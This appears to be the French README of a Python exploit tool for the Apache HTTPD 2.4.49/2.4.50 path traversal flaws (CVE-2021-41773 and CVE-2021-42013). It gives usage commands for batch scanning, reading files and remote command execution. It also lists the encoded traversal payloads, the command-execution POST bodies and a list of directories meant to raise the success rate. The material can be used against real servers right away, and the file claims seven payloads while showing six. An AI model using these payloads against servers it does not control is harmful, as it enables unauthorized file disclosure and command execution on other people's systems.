
Vérificateur de traversée de chemin Apache HTTPD (CVE-2021-41773 / CVE-2021-42013)
Le 20211005, une vulnérabilité de traversée de répertoire dans Apache HTTPD 2.4.49 (CVE-2021-41773) a été divulguée en ligne, permettant la lecture arbitraire de fichiers (le répertoire traversé doit être accessible, par exemple si <Directory />Require all granted</Directory> est configuré, ce qui n’est pas autorisé par défaut) ou l’exécution de commandes (RCE nécessite l’activation de CGI, le module CGI n’étant pas inclus par défaut).
Le 20211008, une traversée de répertoire dans la version 2.4.50 (CVE-2021-42013) est apparue, contournant le correctif de CVE-2021-41773.
Détails de la vulnérabilité : Apache HTTPD 2.4.49/2.4.50 – Analyse et reproduction de la traversée de chemin
Exécution avec Python 3
Aide : python3 apache-httpd-path-traversal.py -h

Test d’une seule URL : python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


Test par lot : python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

Lecture de fichier : python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

Exécution de commande : python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

Utilise urllib.request pour envoyer des paquets HTTP.
La détection de la vulnérabilité repose sur la lecture de /etc/passwd et la vérification de la présence de la chaîne "root:" dans la réponse (la plupart des cibles sont Linux, donc la détection Windows est ignorée pour l’instant).
Multithreading, avec choix du délai d’expiration pour améliorer l’efficacité.
Possibilité de spécifier un répertoire existant ( --cdir ) et un shell pour la RCE ( --rceshell ) pour plus de flexibilité.
Lors de la détection, une liste de répertoires publics courants est utilisée pour augmenter le taux de réussite.
commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
Remarque : parfois la lecture de fichier utilise le répertoire icons, tandis que la RCE nécessite le répertoire cgi-bin. À analyser au cas par cas.
7 PoC et 2 formats de données POST pour la RCE sont utilisés :
#cve-2021-41773
poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013
poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data
rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// La méthode POST pour la RCE semble également fonctionner avec GET.
// Le payload doit être adapté en fonction du nombre de niveaux de répertoire Apache ciblé ; généralement 4 niveaux suffisent.
// Un répertoire existant d’Apache est nécessaire, par exemple icons/ ou cgi-bin/.
Gmail : [email protected]
QQ : [email protected]